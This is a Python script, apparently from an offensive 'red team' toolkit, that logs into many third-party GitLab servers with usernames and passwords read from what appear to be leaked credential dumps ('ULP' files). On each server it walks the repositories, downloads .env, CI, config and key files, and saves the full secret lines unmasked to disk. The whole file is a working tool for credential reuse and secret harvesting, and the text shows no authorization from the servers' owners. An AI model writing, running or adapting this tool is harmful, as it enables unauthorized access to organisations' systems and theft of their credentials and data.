#!/usr/bin/env python3
"""Phase 3/4 for GitLab S/A-tier: secrets-in-repo scan (read-only, Developer+).

Per methodology.md Phase 3 (lateral movement: scan repos for committed
secrets) + Phase 4 (data sampling: classify exposure). Read-only GitLab API:
repository tree walk + file fetch for likely-secret filenames, plus
repository/files/:path/raw for .env/config/ci files. No clone, no write.

Sampling scope (auto-approved per methodology Phase 4): file *names* via
repository/tree (metadata) + raw content only of files that match secret
patterns (.env, config, ci, credentials). Bulk clone is NOT done.

Output: redteam/<host>/secrets_scan.json + summary line.
"""
import base64
import json
import re
import socket
import sys
import urllib.parse
from concurrent.futures import ThreadPoolExecutor
from pathlib import Path

# Hard ceiling for every network op, including TCP connect (same rationale as
# corp_validate.py): urllib's urlopen(timeout=...) does NOT cover the connect
# phase, and some GitLab hosts hang the worker on TLS/recv.
socket.setdefaulttimeout(15)

sys.path.insert(0, str(Path(__file__).parent))
from wingscloud_l2 import gitlab_token, req

ROOT = Path(__file__).resolve().parent.parent
DATA = ROOT / "findings" / "data"
REDTEAM = ROOT / "redteam"

# Filenames / paths that commonly carry secrets (name-based prefilter)
SECRET_NAME_RE = re.compile(
    r"(\.env($|\.)|config/(database|db|app|settings|secrets)|credentials|"
    r"secret|\.gitlab-ci\.yml|docker-compose|compose\.ya?ml|application\.(yml|yaml|properties)|"
    r"settings\.py|config\.(php|py|js|json|yml|yaml|exs)|database\.(yml|yaml|php)|"
    r"id_rsa|\.pem|\.p12|\.keystore|wp-config\.php|\.npmrc|\.pypirc)", re.I)

# Content patterns. Capture the full line (key + value) per no-masking rule;
# we keep the whole matching line, not just the key name.
SECRET_CONTENT_RE = re.compile(
    r"(?im)^[^\n#]*?(password|passwd|secret|api[_-]?key|token|private[_-]?key|"
    r"aws[_-]?(access|secret)|client[_-]?secret|database_url|db_password|"
    r"aws_secret_access_key)\s*[:=]\s*\S[^\n]*")

MAX_FILE_BYTES = 200_000
MAX_FILES_PER_REPO = 25


def list_tree(base, H, pid, ref, timeout=15, max_pages=5):
    paths = []
    page = 1
    while page <= max_pages:
        st, b = req(f"{base}/api/v4/projects/{pid}/repository/tree?recursive=true"
                    f"&per_page=100&page={page}&ref={urllib.parse.quote(ref, safe='')}",
                    headers=H, timeout=timeout)
        if st != 200:
            break
        try:
            items = json.loads(b)
        except Exception:
            break
        if not isinstance(items, list) or not items:
            break
        for it in items:
            if it.get("type") == "blob":
                paths.append(it.get("path", ""))
        if len(items) < 100:
            break
        page += 1
    return paths


def scan_repo(base, H, proj):
    pid = str(proj["id"])
    ref = proj.get("default_branch") or "main"
    paths = list_tree(base, H, pid, ref)
    secret_files = [p for p in paths if SECRET_NAME_RE.search(p)]
    findings = []
    for p in secret_files[:MAX_FILES_PER_REPO]:
        enc = urllib.parse.quote(p, safe="")
        st, b = req(f"{base}/api/v4/projects/{pid}/repository/files/{enc}/raw?ref={urllib.parse.quote(ref, safe='')}",
                    headers=H)
        if st != 200 or not b:
            continue
        content = b[:MAX_FILE_BYTES]
        full_lines = [m.group(0).strip() for m in SECRET_CONTENT_RE.finditer(content)]
        findings.append({"path": p, "size": len(b),
                         "secret_lines": len(full_lines),
                         "hits": full_lines[:15]})
    return {"project": proj["path_with_namespace"], "files_total": len(paths),
            "secret_files": len(secret_files), "findings": findings}


def scan_host(host, base, user, pw):
    tok = gitlab_token(base, user, pw)
    if not tok:
        return host, {"error": "no token"}
    H = {"Authorization": f"Bearer {tok}"}
    st, b = req(f"{base}/api/v4/projects?membership=true&per_page=100", headers=H)
    if st != 200:
        return host, {"error": f"projects http {st}"}
    projects = json.loads(b)
    # Cap repos scanned per host to keep Phase 3/4 sampling bounded; sort by
    # last_activity so the freshest (most relevant) repos are scanned first.
    projects = sorted(projects, key=lambda p: p.get("last_activity_at", ""), reverse=True)
    MAX_REPOS = 40
    capped = projects[:MAX_REPOS]
    results = []
    for proj in capped:
        try:
            results.append(scan_repo(base, H, proj))
        except Exception as e:
            results.append({"project": proj.get("path_with_namespace"),
                            "error": f"{type(e).__name__}: {e}"})
    total_secret = sum(len(r.get("findings", [])) for r in results)
    return host, {"projects_total": len(projects),
                  "projects_scanned": len(results),
                  "capped": len(projects) > MAX_REPOS,
                  "secret_file_hits": total_secret, "repos": results}


def main():
    # GitLab S/A-tier hosts with Developer+ access
    hosts = []
    for src in ("JULY-26", "JULY-27"):
        d = json.load(open(DATA / f"WINGSCLOUD-ULP-{src}_slim_valid.json"))
        for g in d["gitlab_valid"]:
            from urllib.parse import urlparse
            h = urlparse(g["base"]).hostname
            if h in {"gitlab.se.ifmo.ru", "gitlab.cri.epita.fr", "gitlab.codesmell.org",
                     "gitlab.pavlovia.org"}:
                continue  # excluded edu
            hosts.append((h, g["base"], g["user"], g["pw"]))

    with ThreadPoolExecutor(max_workers=8) as ex:
        futs = {ex.submit(scan_host, h, b, u, p): h for h, b, u, p in hosts}
        for fu in futs:
            host = futs[fu]
            try:
                h, res = fu.result()
            except Exception as e:
                h, res = host, {"error": f"{type(e).__name__}: {e}"}
            slug = host.replace(".", "_").replace("-", "_")
            d = REDTEAM / slug
            d.mkdir(parents=True, exist_ok=True)
            (d / "secrets_scan.json").write_text(json.dumps(res, indent=1, ensure_ascii=False))
            if res.get("error"):
                print(f"  {host:42s} ERROR {res['error'][:60]}")
            else:
                cap = " (capped)" if res.get("capped") else ""
                print(f"  {host:42s} repos={res['projects_scanned']}/{res.get('projects_total')}"
                      f"{cap} secret_file_hits={res['secret_file_hits']}", flush=True)


if __name__ == "__main__":
    main()